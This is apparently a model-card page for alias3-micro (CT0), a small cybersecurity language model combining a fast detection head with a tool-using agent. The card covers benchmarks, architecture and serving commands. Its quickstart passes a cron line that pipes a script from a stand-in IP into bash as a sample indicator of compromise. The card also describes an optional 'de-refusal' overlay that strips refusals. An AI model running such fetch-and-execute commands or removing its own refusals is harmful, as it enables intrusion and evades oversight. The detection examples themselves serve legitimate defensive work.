Text Generation
Transformers
Safetensors
English
qwen3_5_text
cybersecurity
security
dual-system
decision-head
agent
ct0
system-1
system-2
conversational
Instructions to use aliasrobotics/alias3-micro-1026 with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use aliasrobotics/alias3-micro-1026 with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("text-generation", model="aliasrobotics/alias3-micro-1026") messages = [ {"role": "user", "content": "Who are you?"}, ] pipe(messages)# pip install -U transformers accelerate # Load model directly from transformers import AutoTokenizer, AutoModelForCausalLM tokenizer = AutoTokenizer.from_pretrained("aliasrobotics/alias3-micro-1026") model = AutoModelForCausalLM.from_pretrained("aliasrobotics/alias3-micro-1026", device_map="auto") messages = [ {"role": "user", "content": "Who are you?"}, ] inputs = tokenizer.apply_chat_template( messages, add_generation_prompt=True, tokenize=True, return_dict=True, return_tensors="pt", ).to(model.device) outputs = model.generate(**inputs, max_new_tokens=256) print(tokenizer.decode(outputs[0][inputs["input_ids"].shape[-1]:])) - Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- vLLM
How to use aliasrobotics/alias3-micro-1026 with vLLM:
Install from pip and serve model
# Install vLLM from pip: pip install vllm # Start the vLLM server: vllm serve "aliasrobotics/alias3-micro-1026" # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:8000/v1/chat/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "aliasrobotics/alias3-micro-1026", "messages": [ { "role": "user", "content": "What is the capital of France?" } ] }'Use Docker
docker model run hf.co/aliasrobotics/alias3-micro-1026
- SGLang
How to use aliasrobotics/alias3-micro-1026 with SGLang:
Install from pip and serve model
# Install SGLang from pip: pip install sglang # Start the SGLang server: python3 -m sglang.launch_server \ --model-path "aliasrobotics/alias3-micro-1026" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/chat/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "aliasrobotics/alias3-micro-1026", "messages": [ { "role": "user", "content": "What is the capital of France?" } ] }'Use Docker images
docker run --gpus all \ --shm-size 32g \ -p 30000:30000 \ -v ~/.cache/huggingface:/root/.cache/huggingface \ --env "HF_TOKEN=<secret>" \ --ipc=host \ lmsysorg/sglang:latest \ python3 -m sglang.launch_server \ --model-path "aliasrobotics/alias3-micro-1026" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/chat/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "aliasrobotics/alias3-micro-1026", "messages": [ { "role": "user", "content": "What is the capital of France?" } ] }' - Docker Model Runner
How to use aliasrobotics/alias3-micro-1026 with Docker Model Runner:
docker model run hf.co/aliasrobotics/alias3-micro-1026
File size: 11,352 Bytes
f14c0d0 93f7fa9 e19348c f14c0d0 0e04ed3 f14c0d0 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 | ---
license: apache-2.0
language:
- en
base_model:
- Qwen/Qwen3.5-4B
pipeline_tag: text-generation
library_name: transformers
tags:
- cybersecurity
- security
- dual-system
- decision-head
- agent
- ct0
- system-1
- system-2
---
<div align="center">
# π‘οΈ alias3-micro Β· CT0
### A 4B **Cybersecurity Transformer** that thinks fast *and* slow β from one set of weights
**β οΈ Research preview** β this model is a research artifact; **weights may change at any point in time** as performance bugs get fixed. This checkpoint also carries deliberate modifications that favour research contribution. Further checkpoints and releases are in progress.
*One prefill answers a typed security question with a calibrated probability and **zero tokens decoded**;*
*the same weights also run as a full tool-using agent. A confidence gate spends generation only when the fast path is unsure.*
[](#-citation)
[](https://huggingface.co/Qwen/Qwen3.5-4B)
[](#)
[](#-two-minds-one-model)
<br>
<img src="assets/hero.png" alt="Cybench-Subtask: alias3-micro vs open and frontier references" width="560">
**21.1 %** on the agentic `cybench-subtask` benchmark β **2.8Γ its own base**, and above every open model of comparable footprint.
</div>
---
## β‘ TL;DR
**alias3-micro** is the first incarnation of **CT0**, a cybersecurity-specialist transformer built on `Qwen3.5-4B`
and post-trained on the proprietary **Cybersecurity AI (CAI) dataset**. It serves two modes from a *single* merged
weight set:
- **System 1** β a bilinear *decision head* answers typed security questions (*is this file an indicator of compromise? is this request an attack? did the model just refuse?*) in **one forward pass, decoding nothing**, returning a **calibrated probability**.
- **System 2** β the usual autoregressive agent: native tool calls, shell, multi-step reasoning.
- **The gate** β a threshold on System 1's confidence escalates only the uncertain cases to System 2.
The result: detection-grade security judgements at **tens of milliseconds**, an agent when you actually need one, and
the **highest cybersecurity capability per parameter** of any model we measured.
| | |
|---|---|
| π₯ **Densest** cybersecurity capability per parameter in its class | π Screens **80β82 files/s** for indicators of compromise |
| π§ Refusal detection **96.5 %** in 47 ms (self-judging: 76.5 % in 254 ms) | πͺ€ Jailbreak-request screening at **AUROC 0.966** in 8 ms |
| πΈ Built in **β314 GPU-hours** on one workstation | π No policy layer between operator and target β runs fully local |
---
## π§ Benchmarks
### Agentic capability β `cybench-subtask` (40 CTF challenges β 171 subtasks, pass@1, fixed budget, thinking off)
Each model's strongest single-attempt campaign under a small, disclosed budget β the opposite of an unbounded best-of-*k*.
| Model | Params | Format | Cybench-Subtask |
|---|---:|:---:|---:|
| **π’ alias3-micro (CT0)** | **4B** | **bf16** | **21.1 %** |
| Qwen3.5-4B *(base)* | 4B | BF16 | 7.6 % |
| Gemma-4 E4B | 8B | BF16 | 12.7 % |
| Bonsai 2 *(ternary)* | 27B | 1.75-bit | 8.2 % |
| Kolibri-1 | 78B | FP8 | 5.3 % |
| *alias3-mini* β | *30B* | *FP8* | *40.9 %* |
| *alias3-max* β | *800B* | *FP8* | *56.1 %* |
| *Mistral Large 4* | *1T* | *API* | *54.4 %* |
| *Opus-5.5* | *β* | *API* | *29.2 %* |
<sup>Italic rows are larger references; `β` marks the larger members of the alias lineage. See the paper for the full protocol and hosted-reference conditions.</sup>
### The fast path wins where it matters β System 1 vs System 2 vs the cascade
<div align="center">
<img src="assets/modes.png" alt="CT0's three arms across every security task" width="820">
</div>
**Detection-style decisions** are a System-1 job β faster *and* better than the model judging its own output:
| Task | System 1 (head) | System 2 (generation) | Why it matters |
|---|:---:|:---:|---|
| Refusal detection (accuracy) | **96.5 %** Β· 47 ms | 76.5 % Β· 254 ms | self-judging misses ~half of refusals |
| Jailbreak-request detection (AUROC) | **0.966** Β· 8 ms | β | cheap enough to screen *every* request |
| Tool-call info-flow labels (accuracy) | **80.6 %** Β· 12 ms | 75.2 % *(9-shot)* Β· 27 ms | dangerous-call recall at its own threshold |
| Phishing triage (balanced accuracy) | **92.5 %** Β· 61 ms | 60.1 % Β· 635 ms | typed signals dominate generation |
| IOC file screening | **80β82 files/s** | β | unaffected by concurrent generation |
**Composition** pays where the two modes err on different cases β the calibrated gate buys accuracy at a fraction of the cost:
| Task | Metric | Best arm |
|---|---|---|
| Secure-code review (OWASP Java) | **90.2 %** balanced accuracy, generating for 36 % of cases | cascade |
| Typed-fact extraction | **48.3 %** exact match (vs 43.4 / 38.0 alone) at **β
** the generative cost | selective repair |
| Pentest findings | complementary: S2 adjudicates, S1 prunes (recall 61.3 vs 22.6) | cascade |
<sup>Calibration: one fitted temperature gives **ECE 0.052** on the transfer set. All numbers from the CT0 paper's evidence matrix; every benchmark is run end-to-end with this exact checkpoint and head.</sup>
---
## π Cybersecurity intelligence density
The headline isn't the raw score β it's the score *per parameter*. Normalised by scale, the alias models lead the field,
and the **4 B specialist is first**.
<div align="center">
<img src="assets/density.png" alt="Cybersecurity intelligence density β score per decade of parameters" width="560">
<sub>CID = Cybench-Subtask score Γ· logββ(1 + NΒ·10βΉ). A plain per-parameter ratio would reward only the tiniest models; the log form reads how much security capability each order of magnitude of parameters buys.</sub>
</div>
---
## π§ Two minds, one model
<details>
<summary><b>Architecture β click to expand the full deployment diagram</b></summary>
<br>
<div align="center">
<img src="assets/arch.png" alt="CT0 architecture, as deployed" width="960">
</div>
</details>
CT0 keeps the hybrid `Qwen3.5-4B` backbone (32 layers, 24 Gated-DeltaNet interleaved with 8 Gated-Attention, SwiGLU
feed-forward, 248,320-token tied embedding) and adds six elements around the unchanged tensors:
1. **Typed decision interface** β marker tokens (`<state> β¦ <q> β¦ <opt>β¦</opt> β¦ <decide>`) pose a security question over options, no vocabulary change.
2. **Specialised weights** β the backbone, taught security by two-phase on-policy distillation on the CAI dataset.
3. **Decision adapter** β a rank-16 LoRA fused into those weights, so one weight set serves both modes.
4. **Bilinear pointer head** β 1.3 M parameters; reads the hidden states at the markers and returns one calibrated probability per option during prefill, decoding nothing.
5. **Escalation gate** β a threshold on the System-1 probability routes only uncertain cases to System 2.
6. **Native dual-mode serving** β one process, two endpoints, sharing the attention KV and recurrent-state prefix caches.
Two optional, reversible **steering overlays** (off by default) complete the design: a runtime refusal-direction
projection for authorised de-refusal, and an activation-steering direction. Both are described in the paper
(Β§ *Refusal Detection and Dynamic De-Refusal*).
---
## π Quickstart
The weights serve **System 2** on any standard stack (`transformers`, `vllm`, `sglang`) with `trust_remote_code`.
The native **System 1** endpoint (`/v1/systemone`) uses the CSI SGLang fork with `--systemone-head` β available from
Alias Robotics.
```bash
# the model β weights, pointer head and tokenizer β is this repo
pip install -U "huggingface_hub[cli]"
hf download aliasrobotics/alias3-micro-1026 --local-dir alias3-micro-1026 && cd alias3-micro-1026
```
```bash
# serve both modes from one process (reference: 1Γ GPU β₯ 20 GB)
python3 -m sglang.launch_server --model-path . --served-model-name ct0 \
--host 0.0.0.0 --port 30000 --dtype bfloat16 --trust-remote-code \
--tool-call-parser qwen3_coder --reasoning-parser qwen3 \
--chunked-prefill-size 2048 --systemone-head ./head.pt
```
```bash
# System 1 β one typed decision, one prefill, zero tokens decoded
curl -s localhost:30000/v1/systemone -H 'Content-Type: application/json' -d '{
"model": "ct0",
"state": "path: /etc/cron.d/backup\ncontent: */5 * * * * root curl http://198.51.100.7/x.sh | bash",
"questions": {"ioc": {"type": "noul",
"instructions": "Is this file a suspicious indicator of compromise on this system?"}}}'
# -> {"answers": {"ioc": {"type": "noul", "noul": 0.91}}}
# System 2 β ordinary chat / native tool calls
curl -s localhost:30000/v1/chat/completions -H 'Content-Type: application/json' -d '{
"model": "ct0", "messages": [{"role": "user", "content": "Audit this crontab for persistence."}],
"chat_template_kwargs": {"enable_thinking": false}}'
```
Question types: `noul` (yes/no probability), `choice` (one per option with a `criteria` map), `score` (ordinal 1..K).
Choice confidence is `(p_max β 1/K)/(1 β 1/K)`. The head temperature is fitted out-of-distribution β **do not re-fit on your own labels.**
---
## π― Intended use & limitations
**Intended for** authorised defensive and offensive security work by practitioners: triage and detection (refusals,
jailbreaks, IOCs, risky tool calls), finding prioritisation, secure-code review, and agentic CTF-style tasks β run
locally, privately, under the operator's control.
This release is one stage of an ongoing research line, and it exists to be used and stress-tested. In turn, we
draw on community feedback and usage data to understand how the model performs in practice and guide the next
stage of our research.
**Limitations.** System-1 thresholds are calibrated on fixtures and must be revalidated on your deployment
distribution. Detector metrics are not attack-success rates and do not test adaptive attackers. Several evaluation
corpora are small or constructed; none is a live engagement. Specialisation does not confer prompt-injection
resistance. See the paper's discussion for the full accounting of what the evidence does and does not support.
**Safety.** This is a dual-use security tool. Use only on systems and engagements you are authorised to assess.
---
## π Citation
> π **[CT0: Cybersecurity Transformer β arXiv:2610.16550](https://arxiv.org/abs/2610.16550)** Β· [PDF](https://arxiv.org/pdf/2610.16550) Β· Alias Robotics, 2026.
```bibtex
@article{ct0_2026,
title = {{CT0}: Cybersecurity Transformer},
author = {Mayoral-Vilches, V{\'i}ctor and {Alias Robotics}},
journal = {arXiv preprint arXiv:2610.16550},
year = {2026},
url = {https://arxiv.org/abs/2610.16550}
}
```
---
<div align="center">
<sub>Built by <a href="https://aliasrobotics.com">Alias Robotics</a> Β· trained on the CAI dataset Β· served from one workstation GPU, no policy layer between operator and target.</sub>
</div>
|